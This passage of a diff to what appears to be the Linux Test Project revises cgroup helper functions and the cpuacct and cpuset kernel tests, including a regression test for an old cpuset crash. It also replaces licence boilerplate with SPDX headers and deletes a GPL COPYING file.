-	[ $# -eq 0 ] && tst_brk TBROK "is_cgroup_subsystem_available_and_enabled: subsystem not defined"
+	[ "$ctrl" ] || tst_brk TBROK "cgroup_get_test_path: controller not defined"
+	[ "$_cgroup_state" ] || tst_brk TBROK "cgroup_get_test_path: No previous state found. Forgot to call cgroup_require?"
 
-	val=$(grep -w $subsystem /proc/cgroups | awk '{ print $4 }')
-	[ "$val" = "1" ] && return 0
+	mountpoint=$(cgroup_get_mountpoint "$ctrl")
 
-	return 1
+	test_path="$mountpoint/ltp/test-$$"
+
+	[ ! -e "$test_path" ] && tst_brk TBROK "cgroup_get_test_path: No test path found. Forgot to call cgroup_require?"
+
+	echo "$test_path"
+
+	return 0
 }
+
+# Gets the cgroup version of the given controller
+# USAGE: cgroup_get_version CONTROLLER
+# RETURNS: "1" if version 1 and "2" if version 2
+# Must call cgroup_require before calling
+cgroup_get_version()
+{
+	local ctrl="$1"
+	local version
+
+	[ "$ctrl" ] || tst_brk TBROK "cgroup_get_version: controller not defined"
+	[ "$_cgroup_state" ] || tst_brk TBROK "cgroup_get_version: No previous state found. Forgot to call cgroup_require?"
+
+	version=$(echo "$_cgroup_state" | grep -w "^$ctrl" | awk '{ print $2 }')
+	[  "$version" ] || tst_brk TBROK "cgroup_get_version: Could not find controller $ctrl"
+
+	echo "$version"
+
+	return 0
+}
+
+# Cleans up any setup done by calling cgroup_require.
+# USAGE: cgroup_cleanup
+# Can be safely called even when no setup has been done
+cgroup_cleanup()
+{
+	[ "$_cgroup_state" ] || return 0
+
+	ROD tst_cgctl cleanup "$_cgroup_state"
+
+	_cgroup_state=
+
+	return 0
+}
+
+# Get the task list of the given controller
+# USAGE: cgroup_get_task_list CONTROLLER
+# RETURNS: prints out "cgroup.procs" if version 2 otherwise "tasks"
+# Must call cgroup_require before calling
+cgroup_get_task_list()
+{
+	local ctrl="$1"
+	local version
+
+	[ "$ctrl" ] || tst_brk TBROK "cgroup_get_task_list: controller not defined"
+
+	version=$(cgroup_get_version "$ctrl")
+
+	if [ "$version" = "2" ]; then
+		echo "cgroup.procs"
+	else
+		echo "tasks"
+	fi
+
+	return 0
+}
+
+# Mounts and configures the given controller
+# USAGE: cgroup_require CONTROLLER
+cgroup_require()
+{
+	local ctrl="$1"
+	local ret
+
+	[ "$ctrl" ] || tst_brk TBROK "cgroup_require: controller not defined"
+
+	[ ! -f /proc/cgroups ] && tst_brk TCONF "Kernel does not support control groups"
+
+	_cgroup_state=$(tst_cgctl require "$ctrl" $$)
+	ret=$?
+
+	if [ $ret -eq 32 ]; then
+		tst_brk TCONF "'tst_cgctl require' exited. Controller is probably not available?"
+		return $ret
+	fi
+
+	if [ $ret -ne 0 ]; then
+		tst_brk TBROK "'tst_cgctl require' exited"
+		return $ret
+	fi
+
+	[ "$_cgroup_state" ] || tst_brk TBROK "cgroup_require: No state was set after call to tst_cgctl require?"
+
+	return 0
+}
+
+. tst_test.sh
diff --git a/testcases/kernel/controllers/cpuacct/Makefile b/testcases/kernel/controllers/cpuacct/Makefile
index 34ec049..dc0cf27 100644
--- a/testcases/kernel/controllers/cpuacct/Makefile
+++ b/testcases/kernel/controllers/cpuacct/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/controllers/cpuacct test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/kernel/controllers/cpuacct/cpuacct.sh b/testcases/kernel/controllers/cpuacct/cpuacct.sh
index 323aa75..97a395c 100755
--- a/testcases/kernel/controllers/cpuacct/cpuacct.sh
+++ b/testcases/kernel/controllers/cpuacct/cpuacct.sh
@@ -19,8 +19,7 @@
 TST_USAGE=usage
 TST_NEEDS_ROOT=1
 TST_NEEDS_TMPDIR=1
-
-. tst_test.sh
+TST_NEEDS_CMDS="awk"
 
 mounted=1
 max=$1
@@ -38,12 +37,63 @@
 EOF
 }
 
+check_free_memory()
+{
+	local memneeded
+	local memfree=`awk '/MemAvailable/ {print $2}' /proc/meminfo`
+
+	if [ $? -ne 0 ]; then
+		local memcached
+
+		memfree=`awk '/MemFree/ {print $2}' /proc/meminfo`
+		test $? -eq 0 || return 0
+
+		memcached=`awk '/MemCached/ {print $2}' /proc/meminfo`
+		test $? -eq 0 || return 0
+
+		memfree=$((memfree + memcached))
+	fi
+
+	# On x86_64, each 100 of processes were using ~16 MB of memory,
+	# so try to estimate the needed free memory based on this.
+	memneeded=$((max * nbprocess * 16384 / 100))
+
+	if [ $memfree -lt $memneeded ]; then
+		tst_brk TCONF "not enough of free memory on this system (approximate need $memneeded kB, free $memfree kB)"
+	fi
+	tst_res TINFO "memory requirements fulfilled (approximate need $memneeded kB, free $memfree kB)"
+
+	return 0
+}
+
+check_limits()
+{
+	local tasksneeded=$((max * nbprocess))
+	local tasksmax
+
+	tasksmax=$(tst_get_free_pids)
+	[ $? -eq 0 ] || return 0
+
+	if [ $tasksmax -le $tasksneeded ]; then
+		tst_brk TCONF "limit of tasks is too low (approximate need $tasksneeded, limit $tasksmax)"
+	fi
+	tst_res TINFO "task limit fulfilled (approximate need $tasksneeded, limit $tasksmax)"
+
+	return 0
+}
+
 setup()
 {
 	if ! grep -q -w cpuacct /proc/cgroups; then
 		tst_brk TCONF "cpuacct not supported on this system"
 	fi
 
+	check_limits
+	# Don't bother with memory limit checks on smaller tests
+	if [ $max -ge 100 ] && [ $nbprocess -ge 100 ]; then
+		check_free_memory
+	fi
+
 	mount_point=`grep -w cpuacct /proc/mounts | cut -f 2 | cut -d " " -f2`
 	tst_res TINFO "cpuacct: $mount_point"
 	if [ "$mount_point" = "" ]; then
@@ -69,14 +119,15 @@
 
 cleanup()
 {
-	tst_res TINFO "removing created directories"
+	if [ "$testpath" ]; then
+		tst_res TINFO "removing created directories"
 
-	if [ -d "$testpath/subgroup_1" ]; then
-		rmdir $testpath/subgroup_*
+		if [ -d "$testpath/subgroup_1" ]; then
+			rmdir $testpath/subgroup_*
+		fi
+		rmdir $testpath
 	fi
 
-	rmdir $testpath
-
 	if [ "$mounted" -ne 1 ]; then
 		tst_res TINFO "Umounting cpuacct"
 		umount $mount_point
@@ -125,4 +176,5 @@
 	fi
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/kernel/controllers/cpuset/cpuset_funcs.sh b/testcases/kernel/controllers/cpuset/cpuset_funcs.sh
index f3ba1d5..9939f13 100755
--- a/testcases/kernel/controllers/cpuset/cpuset_funcs.sh
+++ b/testcases/kernel/controllers/cpuset/cpuset_funcs.sh
@@ -134,6 +134,13 @@
 	tst_brkm TCONF "Cpuset is not supported"
 }
 
+machine_check()
+{
+	if tst_virt_hyperv; then
+		tst_brkm TCONF "Microsoft Hyper-V detected, no support for CPU hotplug"
+	fi
+}
+
 # optional parameters (pass both or none of them):
 # $1 - required number of cpus (default 2)
 # $2 - required number of memory nodes (default 2)
@@ -149,6 +156,7 @@
 
 	nnodes_check ${2:-2}
 
+	machine_check
 }
 
 # Create /dev/cpuset & mount the cgroup file system with cpuset
diff --git a/testcases/kernel/controllers/cpuset/cpuset_hotplug_test/cpuset_hotplug_test.sh b/testcases/kernel/controllers/cpuset/cpuset_hotplug_test/cpuset_hotplug_test.sh
index 155e536..00aa3d4 100755
--- a/testcases/kernel/controllers/cpuset/cpuset_hotplug_test/cpuset_hotplug_test.sh
+++ b/testcases/kernel/controllers/cpuset/cpuset_hotplug_test/cpuset_hotplug_test.sh
@@ -93,8 +93,7 @@
 
 	root_cpus="`cat $CPUSET/cpuset.cpus`"
 
-	task_cpus="`cat /proc/$tst_pid/status | grep Cpus_allowed_list`"
-	task_cpus="`echo $task_cpus | sed -e 's/Cpus_allowed_list: //'`"
+	task_cpus="`cat /sys/devices/system/cpu/present`"
 
 	check_result "$root_cpus" "$expect_cpus"
 	ret=$?
@@ -103,7 +102,7 @@
 		check_result "$task_cpus" "$expect_task_cpus"
 		ret=$?
 		if [ $ret -ne 0 ]; then
-			tst_resm TFAIL "task's allowed list isn't expected.(Result: $task_cpus, Expect: $expect_task_cpus)"
+			tst_resm TFAIL "task's cpu present list isn't expected.(Result: $task_cpus, Expect: $expect_task_cpus)"
 		fi
 	else
 		tst_resm TFAIL "root group's cpus isn't expected(Result: $root_cpus, Expect: $expect_cpus)."
@@ -186,6 +185,7 @@
 			/bin/kill -s SIGKILL $tst_pid
 			return 1
 		fi
+		task_cpus="`cat /sys/devices/system/cpu/present`"
 	fi
 
 	check_result "$cpus" "$expect_cpus"
@@ -194,7 +194,7 @@
 		check_result $task_cpus $expect_task_cpus
 		ret=$?
 		if [ $ret -ne 0 ]; then
-			tst_resm TFAIL "task's cpu allowed list isn't expected(Result: $task_cpus, Expect: $expect_task_cpus)."
+			tst_resm TFAIL "task's cpu present list isn't expected(Result: $task_cpus, Expect: $expect_task_cpus)."
 		fi
 	else
 		if [ "$cpus" = "" ]; then
diff --git a/testcases/kernel/controllers/cpuset/cpuset_lib/libcpuset.c b/testcases/kernel/controllers/cpuset/cpuset_lib/libcpuset.c
index a687ad2..9a81c23 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_lib/libcpuset.c
+++ b/testcases/kernel/controllers/cpuset/cpuset_lib/libcpuset.c
@@ -3083,19 +3083,19 @@
 
 static int sched_setaffinity(pid_t pid, unsigned len, unsigned long *mask)
 {
-	return ltp_syscall(__NR_sched_setaffinity, pid, len, mask);
+	return tst_syscall(__NR_sched_setaffinity, pid, len, mask);
 }
 
 static int get_mempolicy(int *policy, unsigned long *nmask,
 			 unsigned long maxnode, void *addr, int flags)
 {
-	return ltp_syscall(__NR_get_mempolicy, policy, nmask, maxnode,
+	return tst_syscall(__NR_get_mempolicy, policy, nmask, maxnode,
 		addr, flags);
 }
 
 static int set_mempolicy(int mode, unsigned long *nmask, unsigned long maxnode)
 {
-	return ltp_syscall(__NR_set_mempolicy, mode, nmask, maxnode);
+	return tst_syscall(__NR_set_mempolicy, mode, nmask, maxnode);
 }
 
 struct cpuset_placement {
diff --git a/testcases/kernel/controllers/cpuset/cpuset_regression_test.sh b/testcases/kernel/controllers/cpuset/cpuset_regression_test.sh
index dccfd91..8e87d20 100755
--- a/testcases/kernel/controllers/cpuset/cpuset_regression_test.sh
+++ b/testcases/kernel/controllers/cpuset/cpuset_regression_test.sh
@@ -1,82 +1,161 @@
 #!/bin/sh
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) Linux Test Project, 2016-2022
 # Copyright (c) 2015 Fujitsu Ltd.
 # Author: Zeng Linggang <zenglg.jy@cn.fujitsu.com>
 #
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#
 # This is a regression test for commit:
-# http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/
-# ?id=bb2bc55
+# http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=bb2bc55
 #
+# A newly created cpuset group crashed the kernel, if exclusive was set to 1,
+# before a cpuset was set.
 
-TCID=cpuset_regression_test
-TST_TOTAL=1
-. test.sh
+TST_SETUP=setup
+TST_CLEANUP=cleanup
+TST_TESTFUNC=test
+TST_NEEDS_ROOT=1
+TST_NEEDS_TMPDIR=1
+TST_MIN_KVER="3.18"
+
+LOCAL_MOUNTPOINT="cpuset_test"
+BACKUP_DIRECTORY="cpuset_backup"
+
+cpu_num=
+root_cpuset_dir=
+cpu_exclusive="cpuset.cpu_exclusive"
+cpus="cpuset.cpus"
+old_cpu_exclusive_value=1
+
+# Check if there are cpuset groups
+cpuset_has_groups()
+{
+	find ${root_cpuset_dir} -mindepth 1 -type d -exec echo 1 \; -quit
+}
+
+# cpuset_find_parent_first <what>
+# Do a parent first find of <what>
+cpuset_find_parent_first()
+{
+	local what=$1
+
+	find . -mindepth 2 -name ${what} |
+	    awk '{print length($0) " " $0}' |
+	    sort -n | cut -d " " -f 2-
+}
+
+# cpuset_find_child_first <what>
+# Do a child first find of <what>
+cpuset_find_child_first()
+{
+	local what=$1
+
+	find . -mindepth 2 -name ${what} |
+	    awk '{print length($0) " " $0}' |
+	    sort -nr | cut -d " " -f 2-
+}
+
+# cpuset_backup_and_update <backup_dir> <what>
+# Create backup of the values of a specific file (<what>)
+# in all cpuset groups and set the value to 1
+# The backup is written to <backup_dir> in the same structure
+# as in the cpuset filesystem
+cpuset_backup_and_update()
+{
+	local backup_dir=$1
+	local what=$2
+	local old_dir=$PWD
+	local cpu_max=$((cpu_num - 1))
+	local res
+
+	cd ${root_cpuset_dir}
+
+
+	cpuset_find_parent_first ${what} |
+	while read -r file; do
+		[ "$(cat "${file}")" = "" ] && continue
+
+		mkdir -p "$(dirname "${backup_dir}/${file}")"
+		cat "${file}" > "${backup_dir}/${file}"
+		echo "0-$cpu_max" > "${file}" || exit 1
+	done
+	if [ $? -ne 0 ]; then
+		cd $old_dir
+		return 1
+	fi
+
+	cpuset_find_child_first ${what} |
+	while read -r file; do
+		[ "$(cat "${file}")" = "" ] && continue
+		echo "1" > "${file}"
+	done
+	res=$?
+
+	cd $old_dir
+
+	return $res
+}
+
+# cpuset_restore <backup_dir> <what>
+# Restores the value of a file (<what>) in all cpuset
+# groups from the backup created by cpuset_backup_and_update
+cpuset_restore()
+{
+	local backup_dir=$1
+	local what=$2
+	local old_dir=$PWD
+	local cpu_max=$((cpu_num - 1))
+
+	cd ${backup_dir}
+
+	cpuset_find_parent_first ${what} |
+	while read -r file; do
+		echo "0-$cpu_max" > "${root_cpuset_dir}/${file}"
+	done
+
+	cpuset_find_child_first ${what} |
+	while read -r file; do
+		cat "${file}" > "${root_cpuset_dir}/${file}"
+	done
+
+	cd $old_dir
+}
 
 setup()
 {
-	tst_require_root
+	cgroup_require "cpuset"
+	cgroup_version=$(cgroup_get_version "cpuset")
+	root_cpuset_dir=$(cgroup_get_mountpoint "cpuset")
+	testpath=$(cgroup_get_test_path "cpuset")
+	task_list=$(cgroup_get_task_list "cpuset")
 
-	if tst_kvcmp -lt "3.18"; then
-		tst_brkm TCONF "Test must be run with kernel 3.18.0 or newer"
-	fi
+	tst_res TINFO "test starts with cgroup version $cgroup_version"
 
-	local cpu_num=$(tst_getconf _NPROCESSORS_ONLN)
-	if [ $cpu_num -lt 2 ]; then
-		tst_brkm TCONF "We need 2 cpus at least to have test"
-	fi
-
-	tst_tmpdir
-
-	TST_CLEANUP=cleanup
-
-	# We need to mount cpuset if it is not found.
-	mount_flag=0
-	grep -w cpuset /proc/mounts > tmpfile
-	if [ $? -eq 0 ]; then
-		root_cpuset_dir=$(cat tmpfile | awk '{print $2}')
-	else
-		root_cpuset_dir="cpuset_test"
-
-		ROD_SILENT mkdir -p ${root_cpuset_dir}
-
-		ROD_SILENT mount -t cpuset cpuset ${root_cpuset_dir}
-
-		mount_flag=1
-	fi
-
-	if [ -f ${root_cpuset_dir}/cpuset.cpu_exclusive ]; then
-		cpu_exclusive=cpuset.cpu_exclusive
-		cpus=cpuset.cpus
-	elif [ -f ${root_cpuset_dir}/cpu_exclusive ]; then
+	if ! [ -f ${root_cpuset_dir}/${cpu_exclusive} ]; then
 		cpu_exclusive=cpu_exclusive
 		cpus=cpus
-	else
-		tst_brkm TBROK "Both cpuset.cpu_exclusive and cpu_exclusive" \
-			       "do not exist."
 	fi
 
-	cpu_exclusive_value=$(cat ${root_cpuset_dir}/${cpu_exclusive})
-	if [ "${cpu_exclusive_value}" != "1" ];then
-		echo 1 > ${root_cpuset_dir}/${cpu_exclusive}
-		if [ $? -ne 0 ]; then
-			tst_brkm TBROK "'echo 1 >" \
-				       "${root_cpuset_dir}/${cpu_exclusive}'" \
-				       "failed"
+	if ! [ -f ${root_cpuset_dir}/${cpu_exclusive} ]; then
+		tst_brk TBROK "Both cpuset.cpu_exclusive and cpu_exclusive do not exist"
+	fi
+
+	# Ensure that we can use cpu 0 exclusively
+	if [ "$(cpuset_has_groups)" = "1" ]; then
+		cpu_num=$(tst_getconf _NPROCESSORS_ONLN)
+		if [ $cpu_num -lt 2 ]; then
+			tst_brk TCONF "There are already cpuset groups, so at least two cpus are required."
 		fi
+
+		# Use cpu 1 for all existing cpuset cgroups
+		mkdir ${BACKUP_DIRECTORY}
+		cpuset_backup_and_update "${PWD}/${BACKUP_DIRECTORY}" ${cpus}
+		[ $? -ne 0 ] && tst_brk TBROK "Unable to prepare existing cpuset cgroups"
+	fi
+
+	old_cpu_exclusive_value=$(cat ${root_cpuset_dir}/${cpu_exclusive})
+	if [ "${old_cpu_exclusive_value}" != "1" ];then
+		echo 1 > ${root_cpuset_dir}/${cpu_exclusive}
+		[ $? -ne 0 ] && tst_brk TBROK "'echo 1 > ${root_cpuset_dir}/${cpu_exclusive}' failed"
 	fi
 }
 
@@ -86,65 +165,45 @@
 		rmdir ${root_cpuset_dir}/testdir
 	fi
 
-	if [ "$cpu_exclusive_value" != 1 ]; then
-		# Need to flush, or may be output:
-		# "write error: Device or resource busy"
+	if [ -d "${BACKUP_DIRECTORY}" ]; then
+		cpuset_restore "${PWD}/${BACKUP_DIRECTORY}" ${cpus}
+	fi
+
+	if [ "$old_cpu_exclusive_value" != 1 ]; then
+		# Need to flush, or write may fail with: "Device or resource busy"
 		sync
-
-		echo ${cpu_exclusive_value} > \
-		     ${root_cpuset_dir}/${cpu_exclusive}
+		echo ${old_cpu_exclusive_value} > ${root_cpuset_dir}/${cpu_exclusive}
 	fi
 
-	if [ "${mount_flag}" = "1" ]; then
-		umount ${root_cpuset_dir}
-		if [ $? -ne 0 ]; then
-			tst_resm TWARN "'umount ${root_cpuset_dir}' failed"
-		fi
-
-		if [ -d "${root_cpuset_dir}" ]; then
-			rmdir ${root_cpuset_dir}
-		fi
-	fi
-
-	tst_rmdir
+	cgroup_cleanup
 }
 
-cpuset_test()
+test()
 {
+	local cpu_exclusive_tmp cpus_value
+
 	ROD_SILENT mkdir ${root_cpuset_dir}/testdir
 
 	# Creat an exclusive cpuset.
 	echo 1 > ${root_cpuset_dir}/testdir/${cpu_exclusive}
-	if [ $? -ne 0 ]; then
-		tst_brkm TFAIL "'echo 1 >" \
-			       "${root_cpuset_dir}/testdir/${cpu_exclusive}'" \
-			       "failed"
-	fi
+	[ $? -ne 0 ] && tst_brk TFAIL "'echo 1 > ${root_cpuset_dir}/testdir/${cpu_exclusive}' failed"
 
-	local cpu_exclusive_tmp=$(cat \
-				  ${root_cpuset_dir}/testdir/${cpu_exclusive})
+	cpu_exclusive_tmp=$(cat ${root_cpuset_dir}/testdir/${cpu_exclusive})
 	if [ "${cpu_exclusive_tmp}" != "1" ]; then
-		tst_brkm TFAIL "${cpu_exclusive} is '${cpu_exclusive_tmp}'," \
-			       "expected '1'"
+		tst_brk TFAIL "${cpu_exclusive} is '${cpu_exclusive_tmp}', expected '1'"
 	fi
 
-	# ${cpus} is empty at the begin, that maybe make the system *crash*.
-	echo 0-1 > ${root_cpuset_dir}/testdir/${cpus}
-	if [ $? -ne 0 ]; then
-		tst_brkm TFAIL "'echo 0-1 >" \
-			       "${root_cpuset_dir}/testdir/${cpus}' failed"
+	# This may trigger the kernel crash
+	echo 0 > ${root_cpuset_dir}/testdir/${cpus}
+	[ $? -ne 0 ] && tst_brk TFAIL "'echo 0 > ${root_cpuset_dir}/testdir/${cpus}' failed"
+
+	cpus_value=$(cat ${root_cpuset_dir}/testdir/${cpus})
+	if [ "${cpus_value}" != "0" ]; then
+		tst_brk TFAIL "${cpus} is '${cpus_value}', expected '0'"
 	fi
 
-	local cpus_value=$(cat ${root_cpuset_dir}/testdir/${cpus})
-	if [ "${cpus_value}" != "0-1" ]; then
-		tst_brkm TFAIL "${cpus} is '${cpus_value}', expected '0-1'"
-	fi
-
-	tst_resm TPASS "Bug is not reproduced"
+	tst_res TPASS "Bug is not reproducible"
 }
 
-setup
-
-cpuset_test
-
-tst_exit
+. cgroup_lib.sh
+tst_run
diff --git a/testcases/kernel/controllers/freezer/COPYING b/testcases/kernel/controllers/freezer/COPYING
deleted file mode 100644
index 60549be..0000000
--- a/testcases/kernel/controllers/freezer/COPYING
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-                       59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
